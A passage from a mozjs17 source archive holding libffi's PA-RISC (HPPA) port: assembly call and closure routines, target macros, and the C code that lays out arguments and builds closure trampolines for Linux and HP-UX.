stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret1, 0(%r20) .Lchecksmst6: comib,<>,n FFI_TYPE_SMALL_STRUCT6, %r21, .Lchecksmst7 /* 6 byte values are returned right justified: ret0 ret1 6: ????aabb ccddeeff */ extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret1, 0(%r20) .Lchecksmst7: comib,<>,n FFI_TYPE_SMALL_STRUCT7, %r21, .Lchecksmst8 /* 7 byte values are returned right justified: ret0 ret1 7: ??aabbcc ddeeffgg */ extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) b .Ldone stb %ret1, 0(%r20) .Lchecksmst8: comib,<>,n FFI_TYPE_SMALL_STRUCT8, %r21, .Ldone /* 8 byte values are returned right justified: ret0 ret1 8: aabbccdd eeffgghh */ extru %ret0, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret0, 23, 8, %r22 stbs,ma %r22, 1(%r20) stbs,ma %ret0, 1(%r20) extru %ret1, 7, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 15, 8, %r22 stbs,ma %r22, 1(%r20) extru %ret1, 23, 8, %r22 stbs,ma %r22, 1(%r20) stb %ret1, 0(%r20) .Ldone: /* all done, return */ copy %r4, %sp /* pop arg stack */ ldw 12(%r3), %r4 ldwm -64(%sp), %r3 /* .. and pop stack */ ldw -20(%sp), %rp bv %r0(%rp) nop .exit .procend .LFE1: /* void ffi_closure_pa32(void); Called with closure argument in %r21 */ .export ffi_closure_pa32,code .import ffi_closure_inner_pa32,code .type ffi_closure_pa32, @function .LFB2: ffi_closure_pa32: .proc .callinfo FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3 .entry stw %rp, -20(%sp) .LCFI20: copy %r3, %r1 .LCFI21: copy %sp, %r3 .LCFI22: stwm %r1, 64(%sp) /* Put arguments onto the stack and call ffi_closure_inner. */ stw %arg0, -36(%r3) stw %arg1, -40(%r3) stw %arg2, -44(%r3) stw %arg3, -48(%r3) copy %r21, %arg0 bl ffi_closure_inner_pa32, %r2 copy %r3, %arg1 ldwm -64(%sp), %r3 ldw -20(%sp), %rp ldw -36(%sp), %ret0 bv %r0(%r2) ldw -40(%sp), %ret1 .exit .procend .LFE2: .section ".eh_frame",EH_FRAME_FLAGS,@progbits .Lframe1: .word .LECIE1-.LSCIE1 ;# Length of Common Information Entry .LSCIE1: .word 0x0 ;# CIE Identifier Tag .byte 0x1 ;# CIE Version .ascii "\0" ;# CIE Augmentation .uleb128 0x1 ;# CIE Code Alignment Factor .sleb128 4 ;# CIE Data Alignment Factor .byte 0x2 ;# CIE RA Column .byte 0xc ;# DW_CFA_def_cfa .uleb128 0x1e .uleb128 0x0 .align 4 .LECIE1: .LSFDE1: .word .LEFDE1-.LASFDE1 ;# FDE Length .LASFDE1: .word .LASFDE1-.Lframe1 ;# FDE CIE offset .word .LFB1 ;# FDE initial location .word .LFE1-.LFB1 ;# FDE address range .byte 0x4 ;# DW_CFA_advance_loc4 .word .LCFI11-.LFB1 .byte 0x83 ;# DW_CFA_offset, column 0x3 .uleb128 0x0 .byte 0x11 ;# DW_CFA_offset_extended_sf; save r2 at [r30-20] .uleb128 0x2 .sleb128 -5 .byte 0x4 ;# DW_CFA_advance_loc4 .word .LCFI12-.LCFI11 .byte 0xd ;# DW_CFA_def_cfa_register = r3 .uleb128 0x3 .byte 0x4 ;# DW_CFA_advance_loc4 .word .LCFI13-.LCFI12 .byte 0x84 ;# DW_CFA_offset, column 0x4 .uleb128 0x3 .align 4 .LEFDE1: .LSFDE2: .word .LEFDE2-.LASFDE2 ;# FDE Length .LASFDE2: .word .LASFDE2-.Lframe1 ;# FDE CIE offset .word .LFB2 ;# FDE initial location .word .LFE2-.LFB2 ;# FDE address range .byte 0x4 ;# DW_CFA_advance_loc4 .word .LCFI21-.LFB2 .byte 0x83 ;# DW_CFA_offset, column 0x3 .uleb128 0x0 .byte 0x11 ;# DW_CFA_offset_extended_sf .uleb128 0x2 .sleb128 -5 .byte 0x4 ;# DW_CFA_advance_loc4 .word .LCFI22-.LCFI21 .byte 0xd ;# DW_CFA_def_cfa_register = r3 .uleb128 0x3 .align 4 .LEFDE2: mozjs17.0.0/js/src/ctypes/libffi/src/pa/ffitarget.h0000664000175000017500000000451612106270662022066 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for hppa. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, #ifdef PA_LINUX FFI_PA32, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_PA32 #endif #ifdef PA_HPUX FFI_PA32, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_PA32 #endif #ifdef PA64_HPUX #error "PA64_HPUX FFI is not yet implemented" FFI_PA64, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_PA64 #endif } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_NATIVE_RAW_API 0 #ifdef PA_LINUX #define FFI_TRAMPOLINE_SIZE 32 #else #define FFI_TRAMPOLINE_SIZE 40 #endif #define FFI_TYPE_SMALL_STRUCT2 -1 #define FFI_TYPE_SMALL_STRUCT3 -2 #define FFI_TYPE_SMALL_STRUCT4 -3 #define FFI_TYPE_SMALL_STRUCT5 -4 #define FFI_TYPE_SMALL_STRUCT6 -5 #define FFI_TYPE_SMALL_STRUCT7 -6 #define FFI_TYPE_SMALL_STRUCT8 -7 #endif mozjs17.0.0/js/src/ctypes/libffi/src/pa/ffi.c0000664000175000017500000004701212106270662020650 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - (c) 2003-2004 Randolph Chung (c) 2008 Red Hat, Inc. HPPA Foreign Function Interface HP-UX PA ABI support (c) 2006 Free Software Foundation, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include #define ROUND_UP(v, a) (((size_t)(v) + (a) - 1) & ~((a) - 1)) #define MIN_STACK_SIZE 64 #define FIRST_ARG_SLOT 9 #define DEBUG_LEVEL 0 #define fldw(addr, fpreg) \ __asm__ volatile ("fldw 0(%0), %%" #fpreg "L" : : "r"(addr) : #fpreg) #define fstw(fpreg, addr) \ __asm__ volatile ("fstw %%" #fpreg "L, 0(%0)" : : "r"(addr)) #define fldd(addr, fpreg) \ __asm__ volatile ("fldd 0(%0), %%" #fpreg : : "r"(addr) : #fpreg) #define fstd(fpreg, addr) \ __asm__ volatile ("fstd %%" #fpreg "L, 0(%0)" : : "r"(addr)) #define debug(lvl, x...) do { if (lvl <= DEBUG_LEVEL) { printf(x); } } while (0) static inline int ffi_struct_type(ffi_type *t) { size_t sz = t->size; /* Small structure results are passed in registers, larger ones are passed by pointer. Note that small structures of size 2, 4 and 8 differ from the corresponding integer types in that they have different alignment requirements. */ if (sz <= 1) return FFI_TYPE_UINT8; else if (sz == 2) return FFI_TYPE_SMALL_STRUCT2; else if (sz == 3) return FFI_TYPE_SMALL_STRUCT3; else if (sz == 4) return FFI_TYPE_SMALL_STRUCT4; else if (sz == 5) return FFI_TYPE_SMALL_STRUCT5; else if (sz == 6) return FFI_TYPE_SMALL_STRUCT6; else if (sz == 7) return FFI_TYPE_SMALL_STRUCT7; else if (sz <= 8) return FFI_TYPE_SMALL_STRUCT8; else return FFI_TYPE_STRUCT; /* else, we pass it by pointer. */ } /* PA has a downward growing stack, which looks like this: Offset [ Variable args ] SP = (4*(n+9)) arg word N ... SP-52 arg word 4 [ Fixed args ] SP-48 arg word 3 SP-44 arg word 2 SP-40 arg word 1 SP-36 arg word 0 [ Frame marker ] ... SP-20 RP SP-4 previous SP The first four argument words on the stack are reserved for use by the callee. Instead, the general and floating registers replace the first four argument slots. Non FP arguments are passed solely in the general registers. FP arguments are passed in both general and floating registers when using libffi. Non-FP 32-bit args are passed in gr26, gr25, gr24 and gr23. Non-FP 64-bit args are passed in register pairs, starting on an odd numbered register (i.e. r25+r26 and r23+r24). FP 32-bit arguments are passed in fr4L, fr5L, fr6L and fr7L. FP 64-bit arguments are passed in fr5 and fr7. The registers are allocated in the same manner as stack slots. This allows the callee to save its arguments on the stack if necessary: arg word 3 -> gr23 or fr7L arg word 2 -> gr24 or fr6L or fr7R arg word 1 -> gr25 or fr5L arg word 0 -> gr26 or fr4L or fr5R Note that fr4R and fr6R are never used for arguments (i.e., doubles are not passed in fr4 or fr6). The rest of the arguments are passed on the stack starting at SP-52, but 64-bit arguments need to be aligned to an 8-byte boundary This means we can have holes either in the register allocation, or in the stack. */ /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments The following code will put everything into the stack frame (which was allocated by the asm routine), and on return the asm routine will load the arguments that should be passed by register into the appropriate registers NOTE: We load floating point args in this function... that means we assume gcc will not mess with fp regs in here. */ void ffi_prep_args_pa32(UINT32 *stack, extended_cif *ecif, unsigned bytes) { register unsigned int i; register ffi_type **p_arg; register void **p_argv; unsigned int slot = FIRST_ARG_SLOT; char *dest_cpy; size_t len; debug(1, "%s: stack = %p, ecif = %p, bytes = %u\n", __FUNCTION__, stack, ecif, bytes); p_arg = ecif->cif->arg_types; p_argv = ecif->avalue; for (i = 0; i < ecif->cif->nargs; i++) { int type = (*p_arg)->type; switch (type) { case FFI_TYPE_SINT8: *(SINT32 *)(stack - slot) = *(SINT8 *)(*p_argv); break; case FFI_TYPE_UINT8: *(UINT32 *)(stack - slot) = *(UINT8 *)(*p_argv); break; case FFI_TYPE_SINT16: *(SINT32 *)(stack - slot) = *(SINT16 *)(*p_argv); break; case FFI_TYPE_UINT16: *(UINT32 *)(stack - slot) = *(UINT16 *)(*p_argv); break; case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: case FFI_TYPE_POINTER: debug(3, "Storing UINT32 %u in slot %u\n", *(UINT32 *)(*p_argv), slot); *(UINT32 *)(stack - slot) = *(UINT32 *)(*p_argv); break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: /* Align slot for 64-bit type. */ slot += (slot & 1) ? 1 : 2; *(UINT64 *)(stack - slot) = *(UINT64 *)(*p_argv); break; case FFI_TYPE_FLOAT: /* First 4 args go in fr4L - fr7L. */ debug(3, "Storing UINT32(float) in slot %u\n", slot); *(UINT32 *)(stack - slot) = *(UINT32 *)(*p_argv); switch (slot - FIRST_ARG_SLOT) { /* First 4 args go in fr4L - fr7L. */ case 0: fldw(stack - slot, fr4); break; case 1: fldw(stack - slot, fr5); break; case 2: fldw(stack - slot, fr6); break; case 3: fldw(stack - slot, fr7); break; } break; case FFI_TYPE_DOUBLE: /* Align slot for 64-bit type. */ slot += (slot & 1) ? 1 : 2; debug(3, "Storing UINT64(double) at slot %u\n", slot); *(UINT64 *)(stack - slot) = *(UINT64 *)(*p_argv); switch (slot - FIRST_ARG_SLOT) { /* First 2 args go in fr5, fr7. */ case 1: fldd(stack - slot, fr5); break; case 3: fldd(stack - slot, fr7); break; } break; #ifdef PA_HPUX case FFI_TYPE_LONGDOUBLE: /* Long doubles are passed in the same manner as structures larger than 8 bytes. */ *(UINT32 *)(stack - slot) = (UINT32)(*p_argv); break; #endif case FFI_TYPE_STRUCT: /* Structs smaller or equal than 4 bytes are passed in one register. Structs smaller or equal 8 bytes are passed in two registers. Larger structures are passed by pointer. */ len = (*p_arg)->size; if (len <= 4) { dest_cpy = (char *)(stack - slot) + 4 - len; memcpy(dest_cpy, (char *)*p_argv, len); } else if (len <= 8) { slot += (slot & 1) ? 1 : 2; dest_cpy = (char *)(stack - slot) + 8 - len; memcpy(dest_cpy, (char *)*p_argv, len); } else *(UINT32 *)(stack - slot) = (UINT32)(*p_argv); break; default: FFI_ASSERT(0); } slot++; p_arg++; p_argv++; } /* Make sure we didn't mess up and scribble on the stack. */ { unsigned int n; debug(5, "Stack setup:\n"); for (n = 0; n < (bytes + 3) / 4; n++) { if ((n%4) == 0) { debug(5, "\n%08x: ", (unsigned int)(stack - n)); } debug(5, "%08x ", *(stack - n)); } debug(5, "\n"); } FFI_ASSERT(slot * 4 <= bytes); return; } static void ffi_size_stack_pa32(ffi_cif *cif) { ffi_type **ptr; int i; int z = 0; /* # stack slots */ for (ptr = cif->arg_types, i = 0; i < cif->nargs; ptr++, i++) { int type = (*ptr)->type; switch (type) { case FFI_TYPE_DOUBLE: case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: z += 2 + (z & 1); /* must start on even regs, so we may waste one */ break; #ifdef PA_HPUX case FFI_TYPE_LONGDOUBLE: #endif case FFI_TYPE_STRUCT: z += 1; /* pass by ptr, callee will copy */ break; default: /* <= 32-bit values */ z++; } } /* We can fit up to 6 args in the default 64-byte stack frame, if we need more, we need more stack. */ if (z <= 6) cif->bytes = MIN_STACK_SIZE; /* min stack size */ else cif->bytes = 64 + ROUND_UP((z - 6) * sizeof(UINT32), MIN_STACK_SIZE); debug(3, "Calculated stack size is %u bytes\n", cif->bytes); } /* Perform machine dependent cif processing. */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags = (unsigned) cif->rtype->type; break; #ifdef PA_HPUX case FFI_TYPE_LONGDOUBLE: /* Long doubles are treated like a structure. */ cif->flags = FFI_TYPE_STRUCT; break; #endif case FFI_TYPE_STRUCT: /* For the return type we have to check the size of the structures. If the size is smaller or equal 4 bytes, the result is given back in one register. If the size is smaller or equal 8 bytes than we return the result in two registers. But if the size is bigger than 8 bytes, we work with pointers. */ cif->flags = ffi_struct_type(cif->rtype); break; case FFI_TYPE_UINT64: case FFI_TYPE_SINT64: cif->flags = FFI_TYPE_UINT64; break; default: cif->flags = FFI_TYPE_INT; break; } /* Lucky us, because of the unique PA ABI we get to do our own stack sizing. */ switch (cif->abi) { case FFI_PA32: ffi_size_stack_pa32(cif); break; default: FFI_ASSERT(0); break; } return FFI_OK; } extern void ffi_call_pa32(void (*)(UINT32 *, extended_cif *, unsigned), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return value address then we need to make one. */ if (rvalue == NULL #ifdef PA_HPUX && (cif->rtype->type == FFI_TYPE_STRUCT || cif->rtype->type == FFI_TYPE_LONGDOUBLE)) #else && cif->rtype->type == FFI_TYPE_STRUCT) #endif { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_PA32: debug(3, "Calling ffi_call_pa32: ecif=%p, bytes=%u, flags=%u, rvalue=%p, fn=%p\n", &ecif, cif->bytes, cif->flags, ecif.rvalue, (void *)fn); ffi_call_pa32(ffi_prep_args_pa32, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT(0); break; } } #if FFI_CLOSURES /* This is more-or-less an inverse of ffi_call -- we have arguments on the stack, and we need to fill them into a cif structure and invoke the user function. This really ought to be in asm to make sure the compiler doesn't do things we don't expect. */ ffi_status ffi_closure_inner_pa32(ffi_closure *closure, UINT32 *stack) { ffi_cif *cif; void **avalue; void *rvalue; UINT32 ret[2]; /* function can return up to 64-bits in registers */ ffi_type **p_arg; char *tmp; int i, avn; unsigned int slot = FIRST_ARG_SLOT; register UINT32 r28 asm("r28"); cif = closure->cif; /* If returning via structure, callee will write to our pointer. */ if (cif->flags == FFI_TYPE_STRUCT) rvalue = (void *)r28; else rvalue = &ret[0]; avalue = (void **)alloca(cif->nargs * FFI_SIZEOF_ARG); avn = cif->nargs; p_arg = cif->arg_types; for (i = 0; i < avn; i++) { int type = (*p_arg)->type; switch (type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_POINTER: avalue[i] = (char *)(stack - slot) + sizeof(UINT32) - (*p_arg)->size; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: slot += (slot & 1) ? 1 : 2; avalue[i] = (void *)(stack - slot); break; case FFI_TYPE_FLOAT: #ifdef PA_LINUX /* The closure call is indirect. In Linux, floating point arguments in indirect calls with a prototype are passed in the floating point registers instead of the general registers. So, we need to replace what was previously stored in the current slot with the value in the corresponding floating point register. */ switch (slot - FIRST_ARG_SLOT) { case 0: fstw(fr4, (void *)(stack - slot)); break; case 1: fstw(fr5, (void *)(stack - slot)); break; case 2: fstw(fr6, (void *)(stack - slot)); break; case 3: fstw(fr7, (void *)(stack - slot)); break; } #endif avalue[i] = (void *)(stack - slot); break; case FFI_TYPE_DOUBLE: slot += (slot & 1) ? 1 : 2; #ifdef PA_LINUX /* See previous comment for FFI_TYPE_FLOAT. */ switch (slot - FIRST_ARG_SLOT) { case 1: fstd(fr5, (void *)(stack - slot)); break; case 3: fstd(fr7, (void *)(stack - slot)); break; } #endif avalue[i] = (void *)(stack - slot); break; #ifdef PA_HPUX case FFI_TYPE_LONGDOUBLE: /* Long doubles are treated like a big structure. */ avalue[i] = (void *) *(stack - slot); break; #endif case FFI_TYPE_STRUCT: /* Structs smaller or equal than 4 bytes are passed in one register. Structs smaller or equal 8 bytes are passed in two registers. Larger structures are passed by pointer. */ if((*p_arg)->size <= 4) { avalue[i] = (void *)(stack - slot) + sizeof(UINT32) - (*p_arg)->size; } else if ((*p_arg)->size <= 8) { slot += (slot & 1) ? 1 : 2; avalue[i] = (void *)(stack - slot) + sizeof(UINT64) - (*p_arg)->size; } else avalue[i] = (void *) *(stack - slot); break; default: FFI_ASSERT(0); } slot++; p_arg++; } /* Invoke the closure. */ (closure->fun) (cif, rvalue, avalue, closure->user_data); debug(3, "after calling function, ret[0] = %08x, ret[1] = %08x\n", ret[0], ret[1]); /* Store the result using the lower 2 bytes of the flags. */ switch (cif->flags) { case FFI_TYPE_UINT8: *(stack - FIRST_ARG_SLOT) = (UINT8)(ret[0] >> 24); break; case FFI_TYPE_SINT8: *(stack - FIRST_ARG_SLOT) = (SINT8)(ret[0] >> 24); break; case FFI_TYPE_UINT16: *(stack - FIRST_ARG_SLOT) = (UINT16)(ret[0] >> 16); break; case FFI_TYPE_SINT16: *(stack - FIRST_ARG_SLOT) = (SINT16)(ret[0] >> 16); break; case FFI_TYPE_INT: case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: *(stack - FIRST_ARG_SLOT) = ret[0]; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: *(stack - FIRST_ARG_SLOT) = ret[0]; *(stack - FIRST_ARG_SLOT - 1) = ret[1]; break; case FFI_TYPE_DOUBLE: fldd(rvalue, fr4); break; case FFI_TYPE_FLOAT: fldw(rvalue, fr4); break; case FFI_TYPE_STRUCT: /* Don't need a return value, done by caller. */ break; case FFI_TYPE_SMALL_STRUCT2: case FFI_TYPE_SMALL_STRUCT3: case FFI_TYPE_SMALL_STRUCT4: tmp = (void*)(stack - FIRST_ARG_SLOT); tmp += 4 - cif->rtype->size; memcpy((void*)tmp, &ret[0], cif->rtype->size); break; case FFI_TYPE_SMALL_STRUCT5: case FFI_TYPE_SMALL_STRUCT6: case FFI_TYPE_SMALL_STRUCT7: case FFI_TYPE_SMALL_STRUCT8: { unsigned int ret2[2]; int off; /* Right justify ret[0] and ret[1] */ switch (cif->flags) { case FFI_TYPE_SMALL_STRUCT5: off = 3; break; case FFI_TYPE_SMALL_STRUCT6: off = 2; break; case FFI_TYPE_SMALL_STRUCT7: off = 1; break; default: off = 0; break; } memset (ret2, 0, sizeof (ret2)); memcpy ((char *)ret2 + off, ret, 8 - off); *(stack - FIRST_ARG_SLOT) = ret2[0]; *(stack - FIRST_ARG_SLOT - 1) = ret2[1]; } break; case FFI_TYPE_POINTER: case FFI_TYPE_VOID: break; default: debug(0, "assert with cif->flags: %d\n",cif->flags); FFI_ASSERT(0); break; } return FFI_OK; } /* Fill in a closure to refer to the specified fun and user_data. cif specifies the argument and result types for fun. The cif must already be prep'ed. */ extern void ffi_closure_pa32(void); ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { UINT32 *tramp = (UINT32 *)(closure->tramp); #ifdef PA_HPUX UINT32 *tmp; #endif FFI_ASSERT (cif->abi == FFI_PA32); /* Make a small trampoline that will branch to our handler function. Use PC-relative addressing. */ #ifdef PA_LINUX tramp[0] = 0xeaa00000; /* b,l .+8,%r21 ; %r21 <- pc+8 */ tramp[1] = 0xd6a01c1e; /* depi 0,31,2,%r21 ; mask priv bits */ tramp[2] = 0x4aa10028; /* ldw 20(%r21),%r1 ; load plabel */ tramp[3] = 0x36b53ff1; /* ldo -8(%r21),%r21 ; get closure addr */ tramp[4] = 0x0c201096; /* ldw 0(%r1),%r22 ; address of handler */ tramp[5] = 0xeac0c000; /* bv%r0(%r22) ; branch to handler */ tramp[6] = 0x0c281093; /* ldw 4(%r1),%r19 ; GP of handler */ tramp[7] = ((UINT32)(ffi_closure_pa32) & ~2); /* Flush d/icache -- have to flush up 2 two lines because of alignment. */ __asm__ volatile( "fdc 0(%0)\n\t" "fdc %1(%0)\n\t" "fic 0(%%sr4, %0)\n\t" "fic %1(%%sr4, %0)\n\t" "sync\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n" : : "r"((unsigned long)tramp & ~31), "r"(32 /* stride */) : "memory"); #endif #ifdef PA_HPUX tramp[0] = 0xeaa00000; /* b,l .+8,%r21 ; %r21 <- pc+8 */ tramp[1] = 0xd6a01c1e; /* depi 0,31,2,%r21 ; mask priv bits */ tramp[2] = 0x4aa10038; /* ldw 28(%r21),%r1 ; load plabel */ tramp[3] = 0x36b53ff1; /* ldo -8(%r21),%r21 ; get closure addr */ tramp[4] = 0x0c201096; /* ldw 0(%r1),%r22 ; address of handler */ tramp[5] = 0x02c010b4; /* ldsid (%r22),%r20 ; load space id */ tramp[6] = 0x00141820; /* mtsp %r20,%sr0 ; into %sr0 */ tramp[7] = 0xe2c00000; /* be 0(%sr0,%r22) ; branch to handler */ tramp[8] = 0x0c281093; /* ldw 4(%r1),%r19 ; GP of handler */ tramp[9] = ((UINT32)(ffi_closure_pa32) & ~2); /* Flush d/icache -- have to flush three lines because of alignment. */ __asm__ volatile( "copy %1,%0\n\t" "fdc,m %2(%0)\n\t" "fdc,m %2(%0)\n\t" "fdc,m %2(%0)\n\t" "ldsid (%1),%0\n\t" "mtsp %0,%%sr0\n\t" "copy %1,%0\n\t" "fic,m %2(%%sr0,%0)\n\t" "fic,m %2(%%sr0,%0)\n\t" "fic,m %2(%%sr0,%0)\n\t" "sync\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n\t" "nop\n" : "=&r" ((unsigned long)tmp) : "r" ((unsigned long)tramp & ~31), "r" (32/* stride */) : "memory"); #endif closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } #endif mozjs17.0.0/js/src/ctypes/libffi/src/pa/hpux32.S0000664000175000017500000002201212106270662021206 0ustar sstanglsstangl/* ----------------------------------------------------------------------- hpux32.S - Copyright (c) 2006 Free Software Foundation, Inc. (c) 2008 Red Hat, Inc. based on src/pa/linux.S HP-UX PA Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .LEVEL 1.1 .SPACE $PRIVATE$ .IMPORT $global$,DATA .IMPORT $$dyncall,MILLICODE .SUBSPA $DATA$ .align 4 /* void ffi_call_pa32(void (*)(char *, extended_cif *), extended_cif *ecif, unsigned bytes, unsigned flags, unsigned *rvalue, void (*fn)(void)); */ .export ffi_call_pa32,ENTRY,PRIV_LEV=3 .import ffi_prep_args_pa32,CODE .SPACE $TEXT$ .SUBSPA $CODE$ .align 4 L$FB1 ffi_call_pa32 .proc .callinfo FRAME=64,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=4 .entry stw %rp, -20(%sp) copy %r3, %r1 L$CFI11 copy %sp, %r3 L$CFI12 /* Setup the stack for calling prep_args... We want the stack to look like this: [ Previous stack ] <- %r3 [ 64-bytes register save area ] <- %r4 [ Stack space for actual call, passed as ] <- %arg0 [ arg0 to ffi_prep_args_pa32 ] [ Stack for calling prep_args ] <- %sp */ stwm %r1, 64(%sp) stw %r4, 12(%r3) L$CFI13 copy %sp, %r4 addl %arg2, %r4, %arg0 ; arg stack stw %arg3, -48(%r3) ; save flags we need it later /* Call prep_args: %arg0(stack) -- set up above %arg1(ecif) -- same as incoming param %arg2(bytes) -- same as incoming param */ bl ffi_prep_args_pa32,%r2 ldo 64(%arg0), %sp ldo -64(%sp), %sp /* now %sp should point where %arg0 was pointing. */ /* Load the arguments that should be passed in registers The fp args are loaded by the prep_args function. */ ldw -36(%sp), %arg0 ldw -40(%sp), %arg1 ldw -44(%sp), %arg2 ldw -48(%sp), %arg3 /* in case the function is going to return a structure we need to give it a place to put the result. */ ldw -52(%r3), %ret0 ; %ret0 <- rvalue ldw -56(%r3), %r22 ; %r22 <- function to call bl $$dyncall, %r31 ; Call the user function copy %r31, %rp /* Prepare to store the result; we need to recover flags and rvalue. */ ldw -48(%r3), %r21 ; r21 <- flags ldw -52(%r3), %r20 ; r20 <- rvalue /* Store the result according to the return type. The most likely types should come first. */ L$checkint comib,<>,n FFI_TYPE_INT, %r21, L$checkint8 b L$done stw %ret0, 0(%r20) L$checkint8 comib,<>,n FFI_TYPE_UINT8, %r21, L$checkint16 b L$done stb %ret0, 0(%r20) L$checkint16 comib,<>,n FFI_TYPE_UINT16, %r21, L$checkdbl b L$done sth %ret0, 0(%r20) L$checkdbl comib,<>,n FFI_TYPE_DOUBLE, %r21, L$checkfloat b L$done fstd %fr4,0(%r20) L$checkfloat comib,<>,n FFI_TYPE_FLOAT, %r21, L$checkll b L$done fstw %fr4L,0(%r20) L$checkll comib,<>,n 